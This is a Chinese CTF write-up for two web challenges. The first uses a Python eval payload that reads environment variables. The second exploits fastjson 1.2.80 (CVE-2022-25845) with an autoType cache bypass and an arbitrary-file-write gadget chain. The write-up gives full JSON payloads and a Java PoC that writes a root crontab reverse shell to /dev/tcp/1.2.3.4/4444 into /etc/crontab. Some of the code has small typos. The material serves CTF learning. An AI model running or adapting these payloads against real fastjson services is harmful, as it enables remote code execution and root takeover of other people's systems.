计算器

执行数字运算的部分(eval)被锁住了不让用。打开前端,查看器发现

image-20250707113556105

直接修改,去掉disable就可以进行ssti命令执行

__import__('os').popen('env').read()

FastJ

参考文章

2025京麒CTF初赛-web - symya - 博客园

2025第三届京麒CTF挑战赛 writeup by Mini-Venom | CTF导航

发现fastj版本号是 1.2.80 这个版本的fastjson本身就有问题

CVE-2022-25845 : https://github.com/luelueking/CVE-2022-25845-In-Spring

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.80</version>
</dependency>

阅读源码发现

关键代码:
public class IndexController {
    @RequestMapping({"/"})
    public Object fastj(String json) {
        if (json == null) {
            return JSON.toJSONString("json is null");
        }
        try {
            return JSON.parse(json);
        } catch (Exception e) {
            return e.toString();
        }
    }

    private void getflag() throws FileNotFoundException {
        new FilterFileOutputStream("/flag", "/");
    }
}
//跟踪这个FilterFileOutputStream

import java.io.FileNotFoundException;
import java.io.FileOutputStream;

public class FilterFileOutputStream extends FileOutputStream {
  public FilterFileOutputStream(String name, String prefix) throws FileNotFoundException {
    super(name);
    if (!name.startsWith(prefix))
      return; 
  }
}

发现自定义了类FilterFileOutputStream

构造函数调用 super(name) ➜ 调用了 FileOutputStream(String name)会尝试打开或新建这个文件 那么可以联想到任意文件写,看看是否有可能:

试探

1.方向

在 Java 反序列化攻击中,“任意文件读写”是一个强力利用目标,一些反序列化利用链中会用到 commons-io.jar库,它提供了很多对 InputStream/OutputStream 的封装,便于攻击者使用。但这道题目环境是 JDK11,未提供 commons-io,所以你得想办法OutputStream下的子类实现任意文件写

2.试探 autoType 是否开启(why:它允许通过 @type 来指定类型进行反序列化

发送:

{
  "@type":"java.lang.Exception",
  "detailMessage":"test"
}

这是一个“探针”请求,如果服务端返回:

java.lang.Exception: test

说明:服务端Fastjson开启了 AutoType

注:fastjson 从1.2.68开始引入白名单,在 1.2.80 中更加严格。只有在 白名单 中的类才能通过 @type 被反序列化,由于 FilterFileOutputStream 不在白名单中,无法被正常反序列化

3.无法被正常反序列化那么怎么办呢

CVE-2022-25845:CVE-2022-25845 - Fastjson RCE 漏洞分析

可以通过 Throwable 子类作为马甲,在字段里嵌套引用任意类!

why:

Fastjson 的反序列化流程中有这样一段逻辑:

if (Throwable.class.isAssignableFrom(clazz)) {
    deserializer = new ThrowableDeserializer(this, clazz);
}

对于 Throwable 类型的类,会使用专门的 ThrowableDeserializer

这个类有两个特性:

  • 尝试调用多个构造器,如 Exception(String message, Throwable cause)

  • 字段赋值不做严格类型限制

    即便字段 x 是某个复杂类型,只要 JSON 中提供一个对象,它就会尝试用 setX() 或直接赋值,这样就形成了非常“宽松”的自动反序列化流程。

官方poc(的里面):

{
  "@type": "java.lang.Exception",
  "@type": "com.example.fastjson.poc20220523.Poc20220523",
  "name": "calc"
}

其中 Poc20220523 是攻击者自定义的类(必须存在于目标类路径中):

public class Poc20220523 extends Exception {
    public void setName(String str) {
        Runtime.getRuntime().exec(str); // RCE
    }
}

Fastjson 会:

  • 实例化 Poc20220523,调用构造器(默认/带 message)
  • 调用 setName("calc"),成功触发 RCE
官方poc

查看官方GitHub - luelueking/CVE-2022-25845-In-Spring: CVE-2022-25845(fastjson1.2.80) exploit in Spring Env!的poc利用说明:

把java.io.InputStream 加入 fastjson autotype 缓存

{
  "a": "{    \"@type\": \"java.lang.Exception\",    \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\",    \"p\": {    }  }",
  "b": {
    "$ref": "$.a.a"
  },
  "c": "{  \"@type\": \"com.fasterxml.jackson.core.JsonParser\",  \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",  \"in\": {}}",
  "d": {
    "$ref": "$.c.c"
  }
}

其核心链条:

Throwable(核心的类) bypass: InputCoercionException
  └─ contains → UTF8StreamJsonParser
       └─ field `in` → InputStream

Fastjson 在构造这些类时会顺便初始化其字段类型(如 in: InputStream),从而将 InputStream 加入 autoType 缓存

autoType 缓存机制?

Fastjson 反序列化时为了提升性能,会把成功加载过的类型即使原本未在白名单中),存入一个缓存 map,比如:

Map<String, Class<?>> autoTypeCache = new ConcurrentHashMap<>();

⚠️ 这个缓存是“全局有效”的,一旦加入,后续任意地方调用这个类型就不会再检查白名单了!

类似以上

本题我们的思路:

OutputStream Gadget

  • 继承 Throwable
  • 有字段指向某个含 OutputStream 成员的类(FilterFileOutputStream)
  • 类路径没有被 Fastjson 拦截(通过缓存,绕过了 autoType 检查)

寻找:在源码的BOOT-INF/lib/中查看项目依赖,参考网上大师傅的寻找结果

发现jackson生态全套,其中jackson-core-2.13.2.jar中包含 UTF8JsonGenerator,可构造 OutputStream 缓存链

使用Mini-Venom师傅构造的gadget

UTF8JsonGenerator
JsonGenerator
JsonGenerationException
Exception
step1 加入缓存

payload

{
  "a": "{ 
    \"@type\": \"java.lang.Exception\", 
    \"@type\": \"com.fasterxml.jackson.core.JsonGenerationException\", 
    \"g\": {} 
  }",
  "b": { "$ref": "$.a.a" },
  "c": "{ 
    \"@type\": \"com.fasterxml.jackson.core.JsonGenerator\", 
    \"@type\": \"com.fasterxml.jackson.core.json.UTF8JsonGenerator\", 
    \"out\": {} 
  }",
  "d": { "$ref": "$.c.c" }
}

得到回显,说明绕过了“AutoTypeCheck”机制, 间接加载一次OutputStream , 加入 autoType 缓存 供后续用

step2 可执行 write()写入

利用链:

JDK 的标准类 InflaterOutputStreamMarshalOutputStream 能在反序列化期间自动调用 write()、并把 payload 写入磁盘

思路如下

Fastjson.parse(payload)
  ↓
实例化 sun.rmi.server.MarshalOutputStream   
  ↓
readObject() 被自动调用
  ↓
→ out.write(...) 被执行 -> 触发点
     ↓
InflaterOutputStream.write()
     → 解压 input.array                 
     → 将内容写入 out(FilterFileOutputStream)
  • MarshalOutputStream (继承了 ObjectOutputStream(为了out.write(...))

是利用链的入口触发点,在 JDK RMI 模块下:

public class MarshalOutputStream extends ObjectOutputStream {
    protected MarshalOutputStream(OutputStream out) { ... }

    // 它的 readObject 会触发 OutputStream.write()
}

它是个 ObjectOutputStream 的子类,反序列化 MarshalOutputStream 时,它会在 readObject() 内部执行 out.write(...)

// MarshalOutputStream
readObject(ObjectInputStream in) {
    ...
    out.write(...); //   InflaterOutputStream.write()
}

这个 out 就用来包装 InflaterOutputStream(下文),从而触发解压并写入文

  • InflaterOutputStream(包装输出流,让数据写入设置的 out 文件流中)

标准 JDK 类,设计用于压缩数据流的解压输出类。它有结构:

public class InflaterOutputStream extends FilterOutputStream {
    protected OutputStream out;
    protected Inflater inf;
    protected byte[] buf;
}

重点:其 write() 方法会:

  1. inf.input 取数据解压
  2. 将解压后的内容写入 out.write(...)

如果提前设置好:

  • inf.input.array 是 base64 后的压缩数据(即攻击者可控)
  • inf.limit 是解压后长度
  • outFilterFileOutputStream 实例

那么只要反序列化过程中调用一次 write(),就等于写入任意内容到任意文件

step3 构造payload
{
  "@type": "java.io.OutputStream",
  "@type": "sun.rmi.server.MarshalOutputStream",
  "out": {
    "@type": "java.util.zip.InflaterOutputStream",
    "out": {
      "@type": "com.app.FilterFileOutputStream",  ← 自定义类
      "name": "/tmp/test",
      "prefix": "/"
    },
    "infl": {
      "input": {
        "array": "<base64压缩数据> 见后文",
        "limit": <解压后的长度>
      }
    },
    "bufLen": "100"
  },
  "protocolVersion": 1
}

array是一个压缩流,生成array方式如下:

String input = "123123123123";   //你要写入文件的内容
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try (DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream)) {
    //Java 提供的压缩工具类,底层用的是 zlib 算法
    deflaterOutputStream.write(input.getBytes("UTF-8"));
    //压缩写入!
}
String encoded = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
//将压缩后的字节数据编码成 Base64,用于写入 JSON
int leng = byteArrayOutputStream.toByteArray().length;
System.out.println(encoded);

limit设置为解压缩后byte的length。

step 4 定时任务反弹shell

测试时发现远程可以在/root目录下写文件,判断权限为root。写入一句话反弹 shell 的定时任务脚本到 /etc/crontab,让系统每分钟自动执行反弹 shell 指令!

什么是 crontab 定时任务?

/etc/crontab 是 Linux 系统的定时任务调度器配置文件,格式类似如下:

* * * * * root bash -i >& /dev/tcp/1.2.3.4/4444 0>&1

每分钟以 root 身份执行一次命令

命令为:反弹 shell 到攻击者 IP(1.2.3.4),端口 4444

最终,任意文件写入链 + 定时任务反弹 shell 利用poc

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.MediaType;
import org.springframework.util.LinkedMultiValueMap;
import org.springframework.web.client.RestClientException;
import org.springframework.web.client.RestTemplate;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.zip.DeflaterOutputStream;
import java.util.zip.InflaterInputStream;

publicclass POC {
    static String target = "http://localhost:8080/";

    public static Object sendJson(String payload) {
        try {
            RestTemplate restTemplate = new RestTemplate();

            HttpHeaders httpHeaders = new HttpHeaders();
            httpHeaders.setContentType(MediaType.APPLICATION_FORM_URLENCODED);

            LinkedMultiValueMap<Object, Object> map = new LinkedMultiValueMap<>();
            map.add("json", payload);

            HttpEntity<LinkedMultiValueMap<Object, Object>> request = new HttpEntity<>(map, httpHeaders);

            return restTemplate.postForObject(target, request, String.class);
        } catch (RestClientException e) {
            return"null";
        }
    }

    public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException, InterruptedException {
        // 1. add inputStream to fastjson cache
        String payload1 = new String(Files.readAllBytes(Paths.get("payloads/step1.json")));//见后文
        sendJson(payload1);
        System.out.println(payload1);

        String path = "/etc/crontab";
//定时任务反弹 写入到你指定的路径上(/etc/crontab)
        String input = "String input = "* * * * * root bash -i >& /dev/tcp/1.2.3.4/4444 0>&1\n";
        //定时任务反弹,在这里写入input
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        try (DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream)) {
            deflaterOutputStream.write(input.getBytes("UTF-8"));
        }

        String encoded = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        int leng = byteArrayOutputStream.toByteArray().length;

        String payload2 = new String(Files.readAllBytes(Paths.get("payloads/step3-.json"))); //见后文
        payload2 = payload2.replace("{ABC}", encoded).replace(""{ABCD}"",String.valueOf(leng)).replace("{path}",path);
        sendJson(payload2);
        System.out.println(payload2);

    }

上文代码提到的 payload就是前文的缓存和写入文件两步

step1.json

{
  "a": "{    "@type": "java.lang.Exception",    "@type": "com.fasterxml.jackson.core.JsonGenerationException",    "g": {    }  }",
  "b": {
    "$ref": "$.a.a"
  },
  "c": "{  "@type": "com.fasterxml.jackson.core.JsonGenerator",  "@type": "com.fasterxml.jackson.core.json.UTF8JsonGenerator",  "out": {}}",
  "d": {
    "$ref": "$.c.c"
  }
}

step3-.json

{
  "@type": "java.io.OutputStream",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
    "@type": "java.util.zip.InflaterOutputStream",
    "out": {
      "@type": "com.app.FilterFileOutputStream",
      "name": "{path}",
        //{path} →  /etc/crontab
      "prefix": "/"
    },
    "infl": {
      "input": {
        "array": "{ABC}",
        "limit": "{ABCD}"
            //{ABC} → 替换为压缩后内容的 base64 字符串
            //{ABCD} → 替换为压缩后的字节长度
      }
    },
    "bufLen": "100"
  },
"protocolVersion": 1
}
此作者没有提供个人介绍
最后更新于 2025-07-10